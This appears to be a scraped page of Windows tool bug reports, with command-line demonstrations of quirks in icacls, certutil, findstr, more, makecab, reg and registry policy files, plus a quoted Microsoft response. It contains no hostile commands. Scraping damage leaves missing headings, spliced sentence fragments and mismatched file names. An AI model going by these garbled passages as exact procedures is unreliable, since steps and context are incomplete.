Successfully processed 1 files; Failed processing 0 files C:\Users\Stefan\Desktop\Blunder "D:PAI(D;;;;;S-1-5-21-820728443-44925810-1835867902-1000)(D;CIIO;0x1000000;;;CO)(A;;WP;;;S-1-5-21-820728443-44925810-1835867902-513)(A;OIIO;WP;;;S-1-3-3)(A;;;;;S-1-5-21-820728443-44925810-1835867902-513)(A;OIIO;0x2000000;;;CG)(A;;0x100000;;;S-1-5-21-820728443-44925810-1835867902-1000)(A;CIIO;0x100000;;;S-1-3-2)" Blunder AMNESIAC\Stefan:(DENY)(S) CREATOR OWNER:(CI)(IO)(DENY)(S,AS) AMNESIAC\None:(X) CREATOR OWNER SERVER:(OI)(IO)(X) AMNESIAC\None: CREATOR GROUP:(OI)(IO)(MA) AMNESIAC\Stefan:(S) CREATOR GROUP SERVER:(CI)(IO)(S) Successfully processed 1 files; Failed processing 0 filesOUCH³:
ICACLs.exe
halluzinates
SYNCHRONIZE
access permission in
both Access Deniedaccess control entries – in the first access control entry with
NO_ACCESS
access permission and in
the second (inheritable) access control entry with
invalid
ACCESS_SYSTEM_SECURITY
access
permission too!
OUCH⁴: it also creates an (inheritable)
access control entry with invalid
MAXIMUM_ALLOWED
access permission!
Note: for each inheritable access permission,
ICACLs.exe
creates an extraneous
non-inheritable access permission with the well-known universal
SIDs
S-1-3-0
alias
CREATOR OWNER
,
S-1-3-1
alias
CREATOR GROUP
,
S-1-3-2
alias
CREATOR OWNER SERVER
and
S-1-3-3
alias
CREATOR GROUP SERVER
converted to the
effective user respectively (primary) group
SID
AMNESIAC\Stefan
and
AMNESIAC\None
of the file system object creator.
DELETE
access permission as well as
to deny (un)intentionally any access to file system objects via the
ACCESS_SYSTEM_SECURITY
and
MAXIMUM_ALLOWED
access permissions!
They replied with the following statements:
Thank you for your submission. We determined your finding does not meet our bar for immediate servicing. For more information, please see the Microsoft Security Servicing Criteria for Windows (https://aka.ms/windowscriteria).However, we’ve marked your finding for future review as an opportunity to improve our products. I do not have a timeline for this review and will not provide updates moving forward. As no further action is required at this time, I am closing this case. You will not receive further correspondence regarding this submission.
Certutil
command specifies:
The following table describes the verbs that can be used with the certutil command.
Verbs Description -dump Dump configuration information or files … …
Start the Command Processor
Cmd.exe
in an
arbitrary, preferable empty directory, then execute the following
command lines to create the
UTF-16LE
encoded text file blunder.tmp
twice and dump it with
the Certutil.exe
utility:
1>blunder.tmp "%COMSPEC%" /U /D /C ECHO PAUSE CERTUTIL.EXE /DUMP blunder.tmp 1>blunder.tmp "%COMSPEC%" /U /D /C ECHO pause CERTUTIL.EXE /DUMP blunder.tmp DIR blunder.tmp
3c 05 12 14 <... CertUtil: -error command completed successfully. a5 ab ac 7c ...| CertUtil: -error command completed successfully. Volume in drive C has no label. Volume Serial Number is 1957-0427 Directory of C:\Users\Stefan\Desktop 04/27/2018 08:15 PM 14 blunder.tmp 1 File(s) 14 bytes 0 Dir(s) 9,876,543,210 bytes freeOUCH¹: � WTF?
Create the
UTF-16LE
encoded text file
blunder.txt
containing the Greek alphabet in capital and small letters in the
current directory:
ΑΒΓΔΕΖΗΘΙΚΛΜΝΞΟΠΡΣΤΥΦΧΨΩαβγδεζηθικλμνξοπρστυφχψω
Note: the file blunder.txt
contains 51
Unicode
code points in 102 bytes – a leading
Byte Order Mark
U+FEFF
, one line
of 48 letters from U+0391
to U+03C9
(not contiguous),
followed by a trailing
CR/LF
pair.
Display the file blunder.txt
created in step 2.
with the internal
Type
command:
TYPE blunder.txt
ΑΒΓΔΕΖΗΘΙΚΛΜΝΞΟΠΡΣΤΥΦΧΨΩαβγδεζηθικλμνξοπρστυφχψω
Create the
ANSI
encoded file blunder.tmp
with the internal
Type
command and display it afterwards:
1>blunder.tmp TYPE blunder.txt TYPE blunder.tmp
??G????Ø?????????S??F??Oaß?de??????µ???p?st?f???
Dump the file blunder.txt
created in step 2. with
the Certutil.exe
utility:
CERTUTIL.EXE /DUMP blunder.txt
0000 ... 0032 0000 3f 3f 47 3f 3f 3f 3f 54 3f 3f 3f 3f 3f 3f 3f 3f ??G????T???????? 0010 3f 53 3f 3f 46 3f 3f 4f 61 df 3f 64 65 3f 3f 3f ?S??F??Oa.?de??? 0020 3f 3f 3f b5 3f 3f 3f 70 3f 73 74 3f 66 3f 3f 3f ???.???p?st?f??? 0030 0d 0a .. CertUtil: -dump command completed successfully.OUCH²:
Certutil.exe
converts
UTF-16LE
encoded files to
ANSI
before it dumps their now destroyed content –
a completely braindead approach – and even dares to call this
epic failure successful!
Dump the file blunder.txt
created in step 2. using
the undocumented -encodehex
alias
/ENCODEHEX
verb of the Certutil.exe
utility and display the output file:
CERTUTIL.EXE /ENCODEHEX /F blunder.txt blunder.tmp TYPE blunder.tmp
Input Length = 102 Output Length = 508 CertUtil: -encodehex command completed successfully. 0000 ff fe 91 03 92 03 93 03 94 03 95 03 96 03 97 03 ................ 0010 98 03 99 03 9a 03 9b 03 9c 03 9d 03 9e 03 9f 03 ................ 0020 a0 03 a1 03 a3 03 a4 03 a5 03 a6 03 a7 03 a8 03 ................ 0030 a9 03 b1 03 b2 03 b3 03 b4 03 b5 03 b6 03 b7 03 ................ 0040 b8 03 b9 03 ba 03 bb 03 bc 03 bd 03 be 03 bf 03 ................ 0050 c0 03 c1 03 c3 03 c4 03 c5 03 c6 03 c7 03 c8 03 ................ 0060 c9 03 0d 00 0a 00 ......
Dump the executable file of the
Command Processor, specified by its
absolute, fully qualified path name provided in the environment
variable COMSPEC
:
CERTUTIL.EXE /DUMP "%COMSPEC%"
C:\Windows\system32\cmd.exe: Lang 04b00409 (1200.1033) File 6.1:7601.23403 Product 6.1:7601.23403 CertUtil: -dump command completed successfully.OOPS¹: instead of the expected (hexadecimal) dump,
Certutil.exe
displays some parts of the
VERSIONINFO
resource embedded in the Portable Executable file
Cmd.exe
.
Dump some other executable files located in the
system directory
%SystemRoot%\System32\
,
specified by their unqualified name and extension:
CERTUTIL.EXE /DUMP main.cpl CERTUTIL.EXE /DUMP slmgr.vbs SET PATHEXT
main.cpl: Lang 04b00409 (1200.1033) File 6.1:7601.17514 Product 6.1:7601.17514 CertUtil: -dump command completed successfully. CertUtil: -dump command FAILED: 0x80070002 (WIN32: 2 ERROR_FILE_NOT_FOUND) CertUtil: The system cannot find the file specified. PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSCOOPS²:
Certutil.exe
searches the
PATH
, but does not evaluate the environment variable
PATHEXT
!
Finally dump another executable file located in the
system directory
, specified by just its unqualified name
without extension:
CERTUTIL.EXE /DUMP ntdll
ntdll: Lang 04b00409 (1200.1033) File 6.1:7601.24545 Product 6.1:7601.24545 CertUtil: -dump command completed successfully.OOPS³: when no extension is specified,
Certutil.exe
searches the PATH
for
DLLs!
Findstr
command states:
Searches for patterns of text in files.[…]
findstr [/b] [/e] [/l | /r] [/s] [/i] [/x] [/v] [/n] [/m] [/o] [/p] [/f:<File>] [/c:<String>] [/g:<File>] [/d:<DirList>] [/a:<ColorAttribute>] [/off[line]] <Strings> [<Drive>:][<Path>]<FileName>[ ...]
[…]
Parameter Description … … /l Processes search strings literally. /r Processes search strings as regular expressions. This is the default setting. … … /c:<String> Uses the specified text as a literal search string. /g:<File> Gets search strings from the specified file. … … <Strings> Specifies the text to search for in FileName. Required.
Create the
ASCII
text file blunder.c
with the following
content in an arbitrary, preferable empty directory:
E
E_
e
e_
Find all lines containing the €
sign in the file
blunder.txt
created in step 1.:
FINDSTR.EXE /C:"€" blunder.txt
E_ e_OUCH¹: contrary to the highlighted statement of the documentation cited above, the parameter
‹Strings›
is not
required if one of the parameters
/C:‹String›
or
/G:‹File›
is given instead!
OUCH²:
Findstr.exe
halluzinates and misinterprets E_
as well as
e_
as the €
sign!
More
command states:
Displays one screen of output at a time.[…]
<Command> | more [/c] [/p] [/s] [/t<N>] [+<N>] more [[/c] [/p] [/s] [/t<N>] [+<N>]] < [<Drive>:][<Path>]<FileName> more [/c] [/p] [/s] [/t<N>] [+<N>] [<Files>]
Create the
UTF-16LE
encoded text file
blunder.txt
containing the Cyrillic alphabet in capital and small letters in an
arbitrary, preferable empty directory:
ЁЂЃЄЅІЇЈЉЊЋЌЍЎЏАБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯ
ёђѓєѕіїјљњћќѝўџабвгдежзийклмнопрстуфхцчшщъыьэюя
Note: the file blunder.txt
contains 99
Unicode
code points in 198 bytes – a leading
Byte Order Mark
U+FEFF
, a first
line of 47 capital letters from
U+0401
to
U+042F
, followed by an
intermediate
CR/LF
pair, a second line of 47 small letters from
U+0451
to
U+045F
and
U+0430
to
U+044F
, followed by a
trailing
CR/LF
pair.
Display the file blunder.txt
created in step 1.
with the internal
Type
command:
TYPE blunder.txt
ЁЂЃЄЅІЇЈЉЊЋЌЍЎЏАБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯ ёђѓєѕіїјљњћќѝўџабвгдежзийклмнопрстуфхцчшщъыьэюя
Display the file blunder.txt
created in step 1.
with the
More
utility:
MORE.COM blunder.txt
??????????????????????????????????????????????? ???????????????????????????????????????????????OUCH:
More.com
converts files from
UTF-16LE
to
ANSI
before it displays their now destroyed content
– a completely braindead approach!
Display the file blunder.txt
created in step 1. a
second time:
TYPE blunder.txt | MORE.COM
???????????????????????????????????????????????? ????????????????????????????????????????????????
Package existing files into a cabinet (.cab) file.makecab [/v[n]] [/d var=‹value› ...] [/l ‹dir›] ‹source› [‹destination›] makecab [/v[‹n›]] [/d var=‹value› ...] /f ‹directives_file› […]
Parameter Description ‹source› File to compress. ‹destination› File name to give compressed file. If omitted, the last character of the source file name is replaced with an underscore (_) and used as the destination. /f ‹directives_file› A file with makecab directives (may be repeated). /d var=‹value› Defines variable with specified value. /l ‹dir› Location to place destination (default is current directory). /v[‹n›] Set debugging verbosity level (0=none,...,3=full). /? Displays help at the command prompt.
Start the Command Processor
Cmd.exe
, then execute
the following command lines:
SET TMP=NUL: MAKECAB.EXE "%COMSPEC%"
Cabinet Maker - Lossless Data Compression Tool [Wed Apr 1 12:34:56] File open error (Win32Error=0x7B), retrying NUL:\cab_815_2 [Wed Apr 1 12:34:58] File open error (Win32Error=0x7B), retrying NUL:\cab_815_2 [Wed Apr 1 12:35:00] File open error (Win32Error=0x7B), retrying NUL:\cab_815_2 … ^COUCH: proper error handling is most obviously (next to) impossible for Microsoft’s developers – an endless repetition using the same invalid filename, indicated with Win32 error code 123 alias
ERROR_INVALID_NAME
,
is Adds a new subkey or entries from the registry.The TechNet article Reg delete specifies:reg add <KeyName> [{/v ValueName | /ve}] [/t DataType] [/s Separator] [/d Data] [/f]
Parameter Description ‹KeyName› Specifies the full path of the subkey or entry to be added. To specify a remote computer, include the computer name (in the format \\<ComputerName>\) as part of the KeyName. Omitting \\ComputerName\ causes the operation to default to the local computer. The KeyName must include a valid root key. Valid root keys for the local computer are: HKLM, HKCU, HKCR, HKU, and HKCC. If a remote computer is specified, valid root keys are: HKLM and HKU. /v <ValueName> Specifies the name of the registry entry to be added under the specified subkey. /ve Specifies that the registry entry that is added to the registry has a null value. /t <Type> Specifies the type for the registry entry. Type must be one of the following:
REG_SZ
REG_MULTI_SZ
REG_DWORD_BIG_ENDIAN
REG_DWORD
REG_BINARY
REG_DWORD_LITTLE_ENDIAN
REG_LINK
REG_FULL_RESOURCE_DESCRIPTOR
REG_EXPAND_SZ/s <Separator> Specifies the character to be used to separate multiple instances of data when the REG_MULTI_SZ data type is specified and more than one entry needs to be listed. If not specified, the default separator is \0. /d <Data> Specifies the data for the new registry entry. … … /f Adds the registry entry without prompting for confirmation. /? Displays help for reg add at the command prompt.
Deletes a subkey or entries from the registry.Reg delete ‹KeyName› [{/v ‹ValueName› | /ve | /va}] [/f]
Parameter Description ‹KeyName› Specifies the full path of the subkey or entry to be deleted. To specify a remote computer, include the computer name (in the format \\ComputerName\) as part of the KeyName. Omitting \\ComputerName\ causes the operation to default to the local computer. The KeyName must include a valid root key. Valid root keys for the local computer are: HKLM, HKCU, HKCR, HKU, and HKCC. If a remote computer is specified, valid root keys are: HKLM and HKU. /v ‹ValueName› Deletes a specific entry under the subkey. If no entry is specified, then all entries and subkeys under the subkey will be deleted. /ve Specifies that only entries that have no value will be deleted. /va Deletes all entries under the specified subkey. Subkeys under the specified subkey are not deleted. … … /f Deletes the existing registry subkey or entry without asking for confirmation. /? Displays help for reg delete at the command prompt.
Start the Command Processor
Cmd.exe
, then execute
the following command lines:
REG.EXE ADD HKCU\Environment /V TMP 0<NUL:
Value TMP exists, overwrite (Yes/No)? Value TMP exists, overwrite (Yes/No)? Value TMP exists, overwrite (Yes/No)? Value TMP exists, overwrite (Yes/No)? Value TMP exists, overwrite (Yes/No)? … ^COUCH: proper error handling (here: detecting
end of fileon standard input) is most obviously underestimated and not deemed necessary in Redmond!
Note: the demonstration of this
blunder beginner’s error with other
subcommands of the
Reg
utility is left as an exercise to the reader.
REG.EXE DELETE HKCU\Environment /V TMP 0<NUL:
Delete the registry value (Default) (Yes/No)? Delete registry value (Default) (Yes/No)? Delete registry value (Default) (Yes/No)? Delete registry value (Default) (Yes/No)? … ^C
Copies the specified subkeys, entries, and values of the local computer into a file for transfer to other servers.The TechNet article Reg import specifies:
Copies the contents of a file that contains exported registry subkeys, entries, and values into the registry of the local computer.The MSKB article 310516 specifies the format and syntax of registry editor script files that is missing in the documentation referenced above, but is awfully bad!
Note: especially the notation
=hex(2):‹comma separated list of hexadecimal values›
required for REG_EXPAND_SZ
values,
=hex(7):‹comma separated list of hexadecimal values›
required for REG_MULTI_SZ
values and
=hex(11):‹comma separated list of 8 hexadecimal values›
required for REG_QWORD
alias
REG_QWORD_LITTLE_ENDIAN
values is
user-unfriendly.
Create the text file
blunder.reg
with the following content in an arbitrary, preferable empty
directory:
REGEDIT4
[HKEY_CURRENT_USER\Blunder]
""="Blunder"
"none"=hex(0):0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f
"string"=hex(1):57,00,69,00,6e,00,64,00,6f,00,77,00,73,00,00,00,4e,00,54,00,00,00
"string"="WINDOWS\0NT"
"expand"=hex(2):25,77,69,6e,64,69,72,25,00
"expand"=expand:"%WINDIR%"
"binary"=hex(3):0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z
"dword"=dword:-1
"dword_little_endian"=hex(4):01,23,45,67,89,ab,cd,ef
"dword_big_endian"=hex(5):01,23,45,67,89,ab,cd,ef
"qword"=hex(b):01,23,45,67,89,ab,cd,ef
"qword"=qword:0123456789abcdef
"link"=hex(6):
"multi"=hex(7):57,69,6e,64,6f,77,73,00,4e,54,00,00
"multi"=multi:"WINDOWS","NT"
''="''"
@='@'
Import the registry entries from the script file
blunder.reg
into the
Registry:
SET __COMPAT_LAYER=RunAsInvoker REGEDIT.EXE blunder.reg
REG.EXE IMPORT blunder.reg ECHO %ERRORLEVEL%
The operation completed successfully.
0
OUCH¹: despite the multiple syntax errors in
the registry script file blunder.reg
created in
step 1., the Registry Console Tool
Reg.exe
yields an
explicit success message!
OOPS: instead of the @
an empty string can be used as registry value name to specify the
(unnamed) default entry of a registry key.
Query the imported registry entries:
REG.EXE QUERY HKEY_CURRENT_USER\Blunder ECHO %ERRORLEVEL%
HKEY_CURRENT_USER\Blunder (Default) REG_SZ Blunder none REG_NONE 000102030405060708090A0B0C0D0E0F string REG_SZ Windows expand REG_EXPAND_SZ %windir% dword_little_endian REG_DWORD 0x67452301 dword_big_endian REG_DWORD_BIG_ENDIAN 0x67452301 qword REG_QWORD 0xefcdab8967452301 link REG_LINK multi REG_MULTI_SZ Windows\0NT 0OUCH²:
thanksto the
U+0000
alias NUL
embedded in the value of
the entry named string
, the
Registry Console Tool
Reg.exe
fails to display
the whole string Windows\0NT\0
!
OUCH³: it also fails to distinguish
big endian
from little endian
in its output!
Export the just imported registry entries from the registry key
HKEY_CURRENT_USER\Blunder
to the file
blunder.txt
:
SET __COMPAT_LAYER=RunAsInvoker REGEDIT.EXE /E blunder.txt HKEY_CURRENT_USER\Blunder
REG.EXE EXPORT HKEY_CURRENT_USER\Blunder blunder.txt ECHO %ERRORLEVEL%
The operation completed successfully. 0
Note: with the
undocumented command line option /E
the (graphical) Registry Editor
RegEdit.exe
exports in
UTF-16LE
encoding, and with the undocumented command line
option /A
it exports in
ANSI
encoding.
Display the exported registry key and its entries:
TYPE blunder.txt
Windows Registry Editor Version 5.00 [HKEY_CURRENT_USER\Blunder] @="Blunder" "none"=hex(0):00,01,02,03,04,05,06,07,08,09,0a,0b,0c,0d,0e,0f "string"="Windows" "expand"=hex(2):25,00,77,00,69,00,6e,00,64,00,69,00,72,00,25,00,00,00 "dword_little_endian"=hex(4):01,23,45,67,89,ab,cd,ef "dword_big_endian"=hex(5):01,23,45,67,89,ab,cd,ef "link"=hex(6): "multi"=hex(7):57,00,69,00,6e,00,64,00,6f,00,77,00,73,00,00,00,4e,00,54,00,00,\ 00,00,00Note: indicated by the tag line
Windows Registry Editor Version 5.00
, the
Registry Console Tool
Reg.exe
exports in
UTF-16LE
encoding – both the file and the (string) values.
Delete the registry key
HKEY_CURRENT_USER\Blunder
with all its entries:
REG.EXE DELETE HKEY_CURRENT_USER\Blunder /F ECHO %ERRORLEVEL%
The operation completed successfully. 0
RegEdit.exe
instead of the
Registry Console Tool
Reg.exe
is left as an
exercise to the reader.
To insert a Unicode character, type the character code, press ALT, and then press X. For example, to type a dollar symbol ($), type 0024, press ALT, and then press X.The MSKB articles Keyboard shortcuts for international characters and Keyboard shortcuts to add language accent marks in Word and Outlook state:
Contrary to the MSKB articles cited above, the hexadecimal Unicode character code doesn’t need to be typed before the Alt X key combination, and this function is supported in all programs which use an arbitrary Rich Edit Control, not just in Microsoft Office applications! Rich Edit Control, Using Rich Edit Controls
To insert this Press … … The Unicode character for the specified Unicode (hexadecimal) character code The character code, ALT+X
For example, to insert the euro currency symbol €, type 20AC, and then hold down the ALT key and press X.
Create the text file blunder.txt
with the following
content in an arbitrary, preferable empty directory:
24
a9
ae
3b1
3c9
20ac
2122
2190
2191
2192
2193
2194
Open the text file blunder.txt
created in step 1.
with
WordPad.exe
, then
place the cursor at the end of each line and press the
Alt X
key combination twice – first it replaces the
2, 3 or 4 characters left to the cursor with the $, ©, ®,
α, ω, €, ™, ←, ↑, →, ↓
respectively ↔ symbol, second it replaces each symbol with its
(uppercase) hexadecimal
Unicode
character code.
Despite this well-known rule, Microsoft but ships the
system images of Windows Vista and later versions with
a bunch of Policies set only in the
Registry
– the subdirectories
%SystemRoot%\System32\GroupPolicy\Machine\
and
%SystemRoot%\System32\GroupPolicy\User\
with the
registry policy files Registry.pol
where these registry
entries are supposed to be stored are missing!
Due to this omission blunder the
Local Group Policy Editor and the
Local Security Policy snap-in of
the Microsoft Management Console show
these Policies as not configured!
Also missing are the archive
files NTUser.pol
in
the directories %ALLUSERSPROFILE%
alias
%ProgramData%
for the machine and
%USERPROFILE%
for each user where the added as well as
the original, now overwritten or removed registry entries are
supposed to be saved for restoration and roll-back.
The MSDN article Registry Policy File Format provides some details.
Note: Windows 10 20H2 was used here.
Start the Command Processor
Cmd.exe
, then execute
the following command lines to export the registry keys
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies
and HKEY_CURRENT_USER\Software\Policies
of an arbitrary
user account and display them:
REG.EXE EXPORT "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies" blunder.reg TYPE blunder.reg REG.EXE EXPORT "HKEY_CURRENT_USER\Software\Policies" blunder.reg /Y TYPE blunder.regNote: the command lines can be copied and pasted as block into a Command Processor window.
The operation completed successfully.
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies]
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"NoDriveTypeAutoRun"=dword:00000091
The operation completed successfully.
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Policies]
[HKEY_CURRENT_USER\Software\Policies\Microsoft]
[HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates]
[HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA]
[HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA\Certificates]
[HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA\CRLs]
[HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA\CTLs]
[HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\Disallowed]
[HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates]
[HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs]
[HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs]
[HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\trust]
[HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\trust\Certificates]
[HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\trust\CRLs]
[HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\trust\CTLs]
[HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates]
[HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs]
[HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs]
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows]
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\CloudContent]
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\CurrentVersion]
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings]
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\5.0]
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache]
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Cache]
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\DataCollection]
[HKEY_CURRENT_USER\Software\Policies\Power]
[HKEY_CURRENT_USER\Software\Policies\Power\PowerSettings]
Export the respective registry keys of the builtin
NT AUTHORITY\SYSTEM
alias
LocalSystem
user account and display them:
REG.EXE EXPORT "HKEY_USERS\S-1-5-18\Software\Policies" blunder.reg /Y TYPE blunder.reg
The operation completed successfully. Windows Registry Editor Version 5.00 [HKEY_USERS\S-1-5-18\Software\Policies] [HKEY_USERS\S-1-5-18\Software\Policies\Microsoft] [HKEY_USERS\S-1-5-18\Software\Policies\Microsoft\SystemCertificates] [HKEY_USERS\S-1-5-18\Software\Policies\Microsoft\SystemCertificates\CA] [HKEY_USERS\S-1-5-18\Software\Policies\Microsoft\SystemCertificates\CA\Certificates] [HKEY_USERS\S-1-5-18\Software\Policies\Microsoft\SystemCertificates\CA\CRLs] [HKEY_USERS\S-1-5-18\Software\Policies\Microsoft\SystemCertificates\CA\CTLs] [HKEY_USERS\S-1-5-18\Software\Policies\Microsoft\SystemCertificates\Disallowed] [HKEY_USERS\S-1-5-18\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates] [HKEY_USERS\S-1-5-18\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs] [HKEY_USERS\S-1-5-18\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs] [HKEY_USERS\S-1-5-18\Software\Policies\Microsoft\SystemCertificates\trust] [HKEY_USERS\S-1-5-18\Software\Policies\Microsoft\SystemCertificates\trust\Certificates] [HKEY_USERS\S-1-5-18\Software\Policies\Microsoft\SystemCertificates\trust\CRLs] [HKEY_USERS\S-1-5-18\Software\Policies\Microsoft\SystemCertificates\trust\CTLs] [HKEY_USERS\S-1-5-18\Software\Policies\Microsoft\SystemCertificates\TrustedPeople] [HKEY_USERS\S-1-5-18\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates] [HKEY_USERS\S-1-5-18\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs] [HKEY_USERS\S-1-5-18\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs]
Export the respective registry keys of the
NT AUTHORITY\LOCAL SERVICE
alias
LocalService
,
user account and display them:
REG.EXE EXPORT "HKEY_USERS\S-1-5-19\Software\Policies" blunder.reg /Y TYPE blunder.regNote: this operation requires administrative access rights!
The operation completed successfully. Windows Registry Editor Version 5.00 [HKEY_USERS\S-1-5-19\Software\Policies] [HKEY_USERS\S-1-5-19\Software\Policies\Microsoft] [HKEY_USERS\S-1-5-19\Software\Policies\Microsoft\Windows] [HKEY_USERS\S-1-5-19\Software\Policies\Microsoft\Windows\CurrentVersion] [HKEY_USERS\S-1-5-19\Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings] [HKEY_USERS\S-1-5-19\Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\5.0] [HKEY_USERS\S-1-5-19\Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache] [HKEY_USERS\S-1-5-19\Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Cache] [HKEY_USERS\S-1-5-19\Software\Policies\Power] [HKEY_USERS\S-1-5-19\Software\Policies\Power\PowerSettings]
Export the respective registry keys of the
NT AUTHORITY\NETWORK SERVICE
alias
NetworkService
,
user account and display them:
REG.EXE EXPORT "HKEY_USERS\S-1-5-20\Software\Policies" blunder.reg /Y TYPE blunder.regNote: this operation requires administrative access rights!
The operation completed successfully. Windows Registry Editor Version 5.00 [HKEY_USERS\S-1-5-20\Software\Policies] [HKEY_USERS\S-1-5-20\Software\Policies\Microsoft] [HKEY_USERS\S-1-5-20\Software\Policies\Microsoft\SystemCertificates] [HKEY_USERS\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA] [HKEY_USERS\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\Certificates] [HKEY_USERS\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\CRLs] [HKEY_USERS\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\CTLs] [HKEY_USERS\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed] [HKEY_USERS\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates] [HKEY_USERS\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs] [HKEY_USERS\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs] [HKEY_USERS\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust] [HKEY_USERS\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\Certificates] [HKEY_USERS\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\CRLs] [HKEY_USERS\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\CTLs] [HKEY_USERS\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople] [HKEY_USERS\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates] [HKEY_USERS\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs] [HKEY_USERS\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs] [HKEY_USERS\S-1-5-20\Software\Policies\Microsoft\Windows] [HKEY_USERS\S-1-5-20\Software\Policies\Microsoft\Windows\CurrentVersion] [HKEY_USERS\S-1-5-20\Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings] [HKEY_USERS\S-1-5-20\Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\5.0] [HKEY_USERS\S-1-5-20\Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache] [HKEY_USERS\S-1-5-20\Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Cache] [HKEY_USERS\S-1-5-20\Software\Policies\Power] [HKEY_USERS\S-1-5-20\Software\Policies\Power\PowerSettings]
Export the registry keys
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies
and HKEY_LOCAL_MACHINE\SOFTWARE\Policies
of the
machine and display them:
REG.EXE EXPORT "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies" blunder.reg /Y TYPE blunder.reg REG.EXE EXPORT "HKEY_LOCAL_MACHINE\SOFTWARE\Policies" blunder.reg /Y TYPE blunder.reg
